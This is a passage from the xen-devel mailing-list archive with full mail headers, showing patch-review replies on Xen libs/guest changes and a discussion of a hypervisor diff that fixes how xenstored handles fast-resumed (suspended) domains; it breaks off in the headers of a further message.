---=Part.424.e7715ce4dc5fbd2f.19f41e1bb66.59bb630f3221587c=---


From xen-devel-bounces@lists.xenproject.org Wed Jul 08 13:19:46 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 08 Jul 2026 13:19:46 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1357010.1611516 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whSBm-0005iE-SV; Wed, 08 Jul 2026 13:19:46 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1357010.1611516; Wed, 08 Jul 2026 13:19:46 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whSBm-0005i7-PA; Wed, 08 Jul 2026 13:19:46 +0000
Received: by outflank-mailman (input) for mailman id 1357010;
 Wed, 08 Jul 2026 13:19:45 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f41e260b600080a8@swg.vates.tech>)
 id 1whSBl-0005hv-Pm
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 13:19:45 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whSBk-00HOkU-Tp
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 15:19:44 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f41e260b600080a8@swg.vates.tech>)
 id 6a4e4e60-bab6-0a2a0a5309dd-0a2a4503d01c-26
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 15:19:44 +0200
Received: from [185.255.28.35] (helo=prod-mta-13-02.swg-srv.net)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f41e260b600080a8@swg.vates.tech>)
 id 6a4e4e70-ec1a-0a2a45030019-b9ff1c23a69f-3
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 15:19:44 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13-02.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19f41e260b600080a8.005 for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Wed, 08 Jul 2026 13:19:42 +0000
Received: from l14 (lfbn-lyo-1-414-55.w2-7.abo.wanadoo.fr [2.7.24.55])
 (Authenticated sender: anthony.perard)
 by mail2.vates.fr (Postfix) with ESMTPSA id 10FC280272;
 Wed,  8 Jul 2026 15:19:42 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=94Sy5qBxp6H/DVT8lMvsEoxD/IB0D7QRBRxr1zZGs/E=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:in-reply-to:references:feedback-id;
 b=Eke6TuiPpjQ9A4qUbFWaCbSkdpe4RGVQfazN26ivBeGGrYdx9OhKOpOW/DRxUAOM261Pnrfjw
 jflUK1ZAcF1nxeqomnkNBDsCQV1OElOOGOqwZGoiO6IIx3Icr5cWgYgPq9sjdCKxhaq2p6HR7SQ
 MO6wl/TQLXSjAy5tpdBE/xBYTy229hjCq6sKp023D8NVA5AbUNDPlWZsADTPXgnCzs1JSeHcRe8
 sO/Rk4rbHkA4KRE/sx4ICKpNd8gRyid7hafFCMmaEVgT8/3MvmPrClabtCwkRInV64LPw4THMTj
 /Fjb56cLQrMOdXVJhB/+yLVIkip6ImiYnjEwc8Y4geRQ==
X-Zone-Loop: aa225c801236e218e2f0f96fa0f4fd28dea1280fd7a9
x-campaign-type: default
x-transaction-id: bf673ab5-2c3a-467c-bf56-e3bb8ee97c98
x-swg-uid: 01-a9cc4a23-07d7-4877-8b3e-7000a6251f9d
X-Mailer: Sweego
Message-ID:
 <1783516782.8631fc262581453bbf619ec5b2062170.19f41e260b600080a8@vates.tech>
x-swg-bid: 1783516782.8631fc262581453bbf619ec5b2062170.19f41e260b600080a8
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
Date: Wed, 8 Jul 2026 15:19:41 +0200
From: Anthony PERARD <anthony.perard@vates.tech>
To: Frediano Ziglio <freddy77@gmail.com>
Cc: xen-devel@lists.xenproject.org,
	Frediano Ziglio <frediano.ziglio@citrix.com>,
	Jan Beulich <jbeulich@suse.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Roger Pau =?iso-8859-1?Q?Monn=E9?= <roger.pau@citrix.com>,
	Teddy Astie <teddy.astie@vates.tech>,
	Juergen Gross <jgross@suse.com>
Subject: Re: [PATCH v6 07/16] libs/guest: avoids using 2 indexes
References: <20260619130501.272832-1-frediano.ziglio@citrix.com>
 <20260619130501.272832-8-frediano.ziglio@citrix.com>
MIME-Version: 1.0
Content-Disposition: inline
In-Reply-To: <20260619130501.272832-8-frediano.ziglio@citrix.com>
X-BM-Disclaimer: Yes
Content-Type: multipart/alternative; boundary="-=Part.425.d36caf76e1605c2e.19f41e25e82.3fb0f98fc87373b1=-"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1783516782211
X-purgate-ID: tlsNG-33051d/1783516784-B53815D1-416E7A06/0/0
X-purgate-type: clean
X-purgate-size: 758

---=Part.425.d36caf76e1605c2e.19f41e25e82.3fb0f98fc87373b1=-
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

On Fri, Jun 19, 2026 at 02:04:52PM +0100, Frediano Ziglio wrote:
> Simplify code, after the first scan of the various arrays we don't need =
to
> keep original types and PFNs but only the ones having data=2E
>=20
> Signed-off-by: Frediano Ziglio <frediano=2Eziglio@citrix=2Ecom>
> Reviewed-by: Andrew Cooper <andrew=2Ecooper3@citrix=2Ecom>

Acked-by: Anthony PERARD <anthony=2Eperard@vates=2Etech>

Thanks,


-- 
Anthony Perard | Vates XCP-ng Developer

XCP-ng & Xen Orchestra - Vate=
s solutions

web: https://vates=2Etech
---=Part.425.d36caf76e1605c2e.19f41e25e82.3fb0f98fc87373b1=---


From xen-devel-bounces@lists.xenproject.org Wed Jul 08 13:32:44 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 08 Jul 2026 13:32:44 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1357023.1611525 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whSOF-0000lO-TB; Wed, 08 Jul 2026 13:32:39 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1357023.1611525; Wed, 08 Jul 2026 13:32:39 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whSOF-0000lH-QV; Wed, 08 Jul 2026 13:32:39 +0000
Received: by outflank-mailman (input) for mailman id 1357023;
 Wed, 08 Jul 2026 13:32:38 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f41ee18a900080a8@swg.vates.tech>)
 id 1whSOE-0000je-An
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 13:32:38 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whSOC-000Ejg-Dy
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 15:32:36 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f41ee18a900080a8@swg.vates.tech>)
 id 6a4e5173-e002-0a2a0a5209dd-0a2a45069be2-2
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 15:32:36 +0200
Received: from [185.255.28.34] (helo=prod-mta-13-01.swg-srv.net)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f41ee18a900080a8@swg.vates.tech>)
 id 6a4e5174-08de-0a2a45060019-b9ff1c22b5fb-3
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 15:32:36 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13-01.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19f41ee18a900080a8.005 for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Wed, 08 Jul 2026 13:32:30 +0000
Received: from l14 (lfbn-lyo-1-414-55.w2-7.abo.wanadoo.fr [2.7.24.55])
 (Authenticated sender: anthony.perard)
 by mail2.vates.fr (Postfix) with ESMTPSA id 054DE81BDC;
 Wed,  8 Jul 2026 15:32:30 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=lwprljWpAL9XwQDrgQYJo+K0sTuIaFUdgrK61jVIciE=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:in-reply-to:references:feedback-id;
 b=UKeMan9ZnSUrSC5kPoSX+cBnNo2NHRyqi/mDL66Y6vezPIi8Dr7UvMgYV7fjiFuGPC0r5d44U
 ORKNzVirJ4YK1G7vSZP6NLV/oEqyqiTE9wYCFhLnjA21GwlaOMglREJEF9/VVLIvim0QRXhVIjD
 C/RN+ZLsoZhochToVDGhaH2R32aF4qo2kY8mSQzDjWlEIekcKTNl+Fbt5KeJ/ouxXONvih443F5
 E3tKyLa1DDh6ZavX2YuGsiH73eeGD7C2f96YpMKM01u4QUiTmM93GFyb/SDpi2c9IRbXokEnnjt
 11rnCvWMtkMZJP28d187TZaUlGxFAwrH6ryXzTPL0lMg==
X-Zone-Loop: 63986184987d4ee0469d48294fbf68cef20c51bfec42
x-campaign-type: default
x-transaction-id: d6a57b06-b26d-4808-8dc9-e18df09e0bb8
x-swg-uid: 01-ca262856-3906-4d03-ba17-837789a3c35d
X-Mailer: Sweego
Message-ID:
 <1783517550.8631fc262581453bbf619ec5b2062170.19f41ee18a900080a8@vates.tech>
x-swg-bid: 1783517550.8631fc262581453bbf619ec5b2062170.19f41ee18a900080a8
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
Date: Wed, 8 Jul 2026 15:32:29 +0200
From: Anthony PERARD <anthony.perard@vates.tech>
To: Frediano Ziglio <freddy77@gmail.com>
Cc: xen-devel@lists.xenproject.org,
	Frediano Ziglio <frediano.ziglio@citrix.com>,
	Jan Beulich <jbeulich@suse.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Roger Pau =?iso-8859-1?Q?Monn=E9?= <roger.pau@citrix.com>,
	Teddy Astie <teddy.astie@vates.tech>,
	Juergen Gross <jgross@suse.com>
Subject: Re: [PATCH v6 10/16] libs/guest: add xg_foreignmemory_copy_{from,to}
References: <20260619130501.272832-1-frediano.ziglio@citrix.com>
 <20260619130501.272832-11-frediano.ziglio@citrix.com>
MIME-Version: 1.0
Content-Disposition: inline
In-Reply-To: <20260619130501.272832-11-frediano.ziglio@citrix.com>
X-BM-Disclaimer: Yes
Content-Type: multipart/alternative; boundary="-=Part.429.52a10174ab0eed38.19f41ee1656.7d4ce702aa90c69c=-"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1783517550167
X-purgate-ID: tlsNG-16d1c6/1783517556-4392B68D-C9D501F8/0/0
X-purgate-type: clean
X-purgate-size: 1032

---=Part.429.52a10174ab0eed38.19f41ee1656.7d4ce702aa90c69c=-
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

On Fri, Jun 19, 2026 at 02:04:55PM +0100, Frediano Ziglio wrote:
> This change prepare code to use a new "foreign copy" hypercall=2E
> The new hypercall will copy memory from/to a foreign domain=2E
> The new hypercall can be emulated with a sequence of:
> - map foreign memory;
> - copy memory;
> - unmap foreign memory=2E

I don't understand the point of this patch=2E The hypercall doesn't exist
so there's nothing to emulate=2E

I've notice there's a patch later in the series which introduce a new
hypercall, but the changes to the library should come after the
hypercall is been introduced, only then can we check if the emulation is
correct, or even needed=2E

Cheers,


-- 
Anthony Perard | Vates XCP-ng Developer

XCP-ng & Xen Orchestra - Vate=
s solutions

web: https://vates=2Etech
---=Part.429.52a10174ab0eed38.19f41ee1656.7d4ce702aa90c69c=---


From xen-devel-bounces@lists.xenproject.org Wed Jul 08 13:46:10 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 08 Jul 2026 13:46:10 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1357033.1611533 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whSb2-0002bv-W3; Wed, 08 Jul 2026 13:45:52 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1357033.1611533; Wed, 08 Jul 2026 13:45:52 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whSb2-0002bo-TP; Wed, 08 Jul 2026 13:45:52 +0000
Received: by outflank-mailman (input) for mailman id 1357033;
 Wed, 08 Jul 2026 13:45:51 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f41fa3b4500080a8@swg.vates.tech>)
 id 1whSb1-0002bi-6R
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 13:45:51 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whSb0-00HTef-Ib
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 15:45:50 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f41fa3b4500080a8@swg.vates.tech>)
 id 6a4e548d-e002-0a2a0a5209dd-0a2a45069258-8
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 15:45:50 +0200
Received: from [185.255.28.35] (helo=prod-mta-13-02.swg-srv.net)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f41fa3b4500080a8@swg.vates.tech>)
 id 6a4e548e-08de-0a2a45060019-b9ff1c238fcd-3
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 15:45:50 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13-02.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19f41fa3b4500080a8.001 for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Wed, 08 Jul 2026 13:45:46 +0000
Received: from [192.168.0.158]
 (cpc92322-cmbg19-2-0-cust1759.5-4.cable.virginm.net [86.26.38.224])
 (Authenticated sender: andriy.sultanov)
 by mail2.vates.fr (Postfix) with ESMTPSA id 7192680A0E;
 Wed,  8 Jul 2026 15:45:45 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:MIME-Version:Content-Type:In-Reply-To:References:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=Ykgml7YM04eyLMiYabgG/jP8nFiF/IG2m+8+oNR3T2E=;
 h=from:subject:date:message-id:to:mime-version:content-type:in-reply-to:references:feedback-id;
 b=cDvm5pxkwld6ZbaJJoDWVgquK2qJwtQefD9aCLHb9m+yBlII5HCtQItkquWpCKmny/E276XNx
 dLJ6EjKIjdC7sLpWJ7cgjyCy+jrnQG1J5zrBFRwCWvDYDceZwncwh73/BmWTizcU9AY/C6YN6JD
 K+LYToAlQ5LXpXwY8K1SL+qTQ2+Gz1v8rTSAGPaimKqAAVpKEWznuFGU21bdFE0+SL6jBN1Z7zQ
 swUNQXxlirt3z7bv6/YIsd5jC63Zu2UF85mA2IciXEC/z4M+/oode3at0C+hzY8vpNN6JUAQLqd
 MwbsuOgM+TLip7bcTiG021uKgfR4CFEmsY2hSweSdgag==
X-Zone-Loop: 209573d26e817b55eee7e9d493af098417a114cada9b
x-campaign-type: default
x-transaction-id: 718c8d51-196b-4cd7-9e6e-ec5dd208f4ec
x-swg-uid: 01-ce87ecb0-df1a-4ec1-9856-086a95c8b763
X-Mailer: Sweego
Message-ID:
 <1783518346.8631fc262581453bbf619ec5b2062170.19f41fa3b4500080a8@vates.tech>
x-swg-bid: 1783518346.8631fc262581453bbf619ec5b2062170.19f41fa3b4500080a8
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
Date: Wed, 8 Jul 2026 14:45:44 +0100
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: Improper handling of fast-resumed domains by O/Cxenstored
To: =?UTF-8?B?SsO8cmdlbiBHcm/Dnw==?= <jgross@suse.com>,
 Xen-devel <xen-devel@lists.xenproject.org>
References: <1783429662.8631fc262581453bbf619ec5b2062170.19f3cb107e000080a8@vates.tech>
 <bf89f32e-f54f-47ad-a99f-eb0b1ba1d06e@suse.com>
Content-Language: en-US
From: Andrii Sultanov <andriy.sultanov@vates.tech>
In-Reply-To: <bf89f32e-f54f-47ad-a99f-eb0b1ba1d06e@suse.com>
X-BM-Disclaimer: Yes
Content-Type: multipart/alternative; boundary="-=Part.42c.e1bd5308536b174f.19f41fa3960.90fe45a6668b2c7d=-"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1783518345568
X-purgate-ID: tlsNG-16d1c6/1783518350-42D2568D-6CC1F1EC/0/0
X-purgate-type: clean
X-purgate-size: 2707

---=Part.42c.e1bd5308536b174f.19f41fa3960.90fe45a6668b2c7d=-
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

On 7/7/26 14:53, J=C3=BCrgen Gro=C3=9F wrote:

> In fact this is a hypervisor issue=2E In __domain_finalise_shutdown()=20
> the call
> of domain_changed_state() should only happen if=20
> send_global_virq(VIRQ_DOM_EXC)
> is done=2E
>
> Could you please test whether the following diff is helping?
>
> diff --git a/xen/common/domain=2Ec b/xen/common/domain=2Ec
> index 53ac1d6c40=2E=2Ea4d9095c20 100644
> --- a/xen/common/domain=2Ec
> +++ b/xen/common/domain=2Ec
> @@ -286,11 +286,12 @@ static void __domain_finalise_shutdown(struct=20
> domain *d)
> =C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=
 return;
>
> =C2=A0=C2=A0=C2=A0=C2=A0 d->is_shut_down =3D 1;
> -=C2=A0=C2=A0=C2=A0 domain_changed_state(d);
> =C2=A0=C2=A0=C2=A0=C2=A0 if ( (d->shutdown_code =3D=3D SHUTDOWN_suspend)=
 && d->suspend_evtchn )
> =C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0 evtchn_send(d, d->suspe=
nd_evtchn);
> -=C2=A0=C2=A0=C2=A0 else
> +=C2=A0=C2=A0=C2=A0 else {
> +=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0 domain_changed_state(d);
> =C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0 send_global_virq(VIRQ_D=
OM_EXC);
> +=C2=A0=C2=A0=C2=A0 }
> =C2=A0}
>
> =C2=A0static void vcpu_check_shutdown(struct vcpu *v)
>
>
>
> Juergen
It does look like the above patch is needed=2E

But even with it:

 =C2=A0 =C2=A0 1) toolstacks should register suspend_evtchn for all domain=
s
 =C2=A0 =C2=A0 =C2=A0 =C2=A0(xapi currently does not register it for any d=
omains)
 =C2=A0 =C2=A0 AND
 =C2=A0 =C2=A0 2) both xenstoreds should use xenmanage_poll_changed_domain
 =C2=A0 =C2=A0 =C2=A0 =C2=A0(oxenstored still hasn't integrated xenmanage)

Otherwise a VIRQ_DOM_EXC on a shutdown (shutdown_code !=3D SHUTDOWN_suspen=
d)
domain will force xenstored to check all the domains and to tear down the
suspended domain which did not send out the VIRQ=2E

Given that xenmanage is only available on 4=2E21+, it seems like an easier
solution would be to just skip SHUTDOWN_suspend domains in the=20
check_domains()
loop (I don't believe we'd miss sending out a @releaseDomain event, anothe=
r
VIRQ should be sent out on domain destruction)=2E I'll probably integrate =
this
hacky fix into the older version I'm working with (4=2E17=2E6) and start w=
ork on
the proper solution long-term=2E

Thank you!
Andrii



-- 
Andriy Sultanov | Vates XCP-ng Developer

XCP-ng & Xen Orchestra - Vat=
es solutions

web: https://vates=2Etech
---=Part.42c.e1bd5308536b174f.19f41fa3960.90fe45a6668b2c7d=---


From xen-devel-bounces@lists.xenproject.org Wed Jul 08 13:55:27 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 08 Jul 2026 13:55:27 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1357045.1611543 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whSkE-0004Nv-QL; Wed, 08 Jul 2026 13:55:22 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1357045.1611543; Wed, 08 Jul 2026 13:55:22 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whSkE-0004No-NL; Wed, 08 Jul 2026 13:55:22 +0000
Received: by outflank-mailman (input) for mailman id 1357045;
 Wed, 08 Jul 2026 13:55:21 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1whSkD-0004Ni-7a
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 13:55:21 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whSkC-000ChD-HM
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 15:55:20 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4e56c0-2eae-0a2a0a5409dd-0a2a4502c264-44
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 15:55:20 +0200
Received: from [209.85.221.43] (helo=mail-wr1-f43.google.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4e56c8-5a27-0a2a45020019-d155dd2badaa-3
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 15:55:20 +0200
Received: by mail-wr1-f43.google.com with SMTP id
 ffacd0b85a97d-47df43bfb07so93612f8f.1
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 06:55:20 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47a9de1e785sm42566313f8f.8.2026.07.08.06.55.18
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Wed, 08 Jul 2026 06:55:19 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1783518920; x=1784123720; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=SuWt6tWDnRraObhWqZWhDbPPPU4ZOgcLZcE9EY8FRmc=;
        b=Yjg3Fgc6csTrI2YHr5BMnpFYKQ5cJWXoYT2RomDfQOL5i6GKIP/GleQDAVYlTr3Cxf
         SI1kIyyo9gv8C5Lihq4heG3UtH6DRrnPgheVh3QxBUYsxA9IwQyR3G5U0h6JvMls2Bux
         WljEQDdC8INED7WOKqOvxc4ZX2z9CcWqw7dqZ2VnOKaTJhglzs72vuelhRdIlpfPJX5i
         0FICntTMl+LtRa1mqaeJnnwdcQrMJe547ZS3Kjx30b3RZ/Ymofm5lLrTS6u3r6+8L2+m
         qpUh3JgTfr4zg3QF5DfBzN3AvOtcyiKZiDV5kNOFAY6bBbaPU9ugRqAJN9LD6nzPjH6Y
         065A==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783518920; x=1784123720;
